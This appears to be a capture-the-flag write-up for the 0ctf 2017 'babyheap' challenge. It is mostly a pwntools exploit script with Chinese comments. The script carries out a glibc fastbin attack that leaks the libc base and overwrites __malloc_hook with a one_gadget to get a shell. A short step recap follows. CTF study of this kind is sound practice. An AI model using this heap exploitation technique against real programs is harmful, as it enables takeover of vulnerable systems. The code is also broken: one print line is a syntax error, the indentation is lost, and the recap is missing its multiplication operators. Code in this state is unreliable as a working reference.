0%

0ctf2017-babyheap

fastbin attack

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python

from pwn import *
import sys
context.terminal = ['tmux','splitw','-h']
context.log_level = "debug"
#p = remote("10.10.31.156",10000)
ENV = {"LD_PRELOAD":"/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6"}
p = process(["/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so","./0ctfbabyheap"],env={"LD_PRELOAD":"/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6"})
#elf = "./0ctfbabyheap"

#p = process(elf)

def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))

def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)

def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))

def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline()

print("======================分配5个chunk=========================")
alloc(0x10)#chunk0
alloc(0x10)#chunk1
alloc(0x10)#chunk2
alloc(0x10)#chunk3
alloc(0x80)#chunk4
gdb.attach(p,gdbscript='b *$rebase(0x147)')

print("======================= 释放 1,2 chunk =======================")
free(1)
free(2)
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
print("======================== 用0X80覆盖chunk2的 fd===================")
fill(0, payload)
payload = p64(0)*3
payload += p64(0x21)
print("======================== 用0x21覆盖 chunk4的size避免malloc memory corruption===================")
fill(3, payload)
print("========================alloc 1,2,index 2 is small chunk address申请chunk1,2,chunk2由于fd被0x80覆盖,因此会申请到chunk4,导致index2和4指向同一个chunk========================")
alloc(0x10)#chunk1
alloc(0x10)#chunk2

payload = p64(0)*3
payload += p64(0x91)
print("========================恢复chunk4的size========================")
fill(3, payload)
print("========================避免free进入top chunk========================")
alloc(0x80)#chunk 5
print("========================释放chunk4,此时chunk4 的fd为main_arena========================")
free(4)
print("========================由于index同样指向chunk4,因此可以通过dump2 泄露main_arena========================")
libc_base = u64(dump(2)[:8].strip().ljust(8, b"\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
print("========================重新申请chunk4,size为0x60,因此属于fastbins,绕过small bins的检查========================")

alloc(0x60)
print("free chunk 4")
free(4)

payload = p64(libc_base+0x3c4aed)
print("========================覆盖chunk4的fd为malloc_hook========================")
fill(2, payload)

print("========================此时fastbins[0x70]->chunk4->main_arena========================")
alloc(0x60)
print(========================"分配到chunk6 main_arena"========================)
alloc(0x60)

payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
log.info("one_gadget: "+hex(libc_base+0x4527a))
print("========================malloc hook========================")
fill(6, payload)

print("exec shell by call malloc")
alloc(255)

p.interactive()

debug

alloc(0x10)#chunk0
alloc(0x10)#chunk1
alloc(0x10)#chunk2
alloc(0x10)#chunk3
alloc(0x80)#chunk4
1
free(1)
free(2)
payload = p64(0)3 + p64(0x21) + p64(0)3 + p64(0x21) + p8(0x80)
fill(0, payload)
payload = p64(0)3 + p64(0x21)
fill(3, payload)
2
alloc(0x10)#chunk1
alloc(0x10)#chunk2
payload = p64(0)
3 + p64(0x91)
fill(3, payload)
alloc(0x80)#chunk 5
3
free(4)
dump(2)
alloc(0x60)
4
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
5
alloc(0x60) 0x80
alloc(0x60) 0xfd(malloc hook)
6
fill(6, payload)
alloc(255)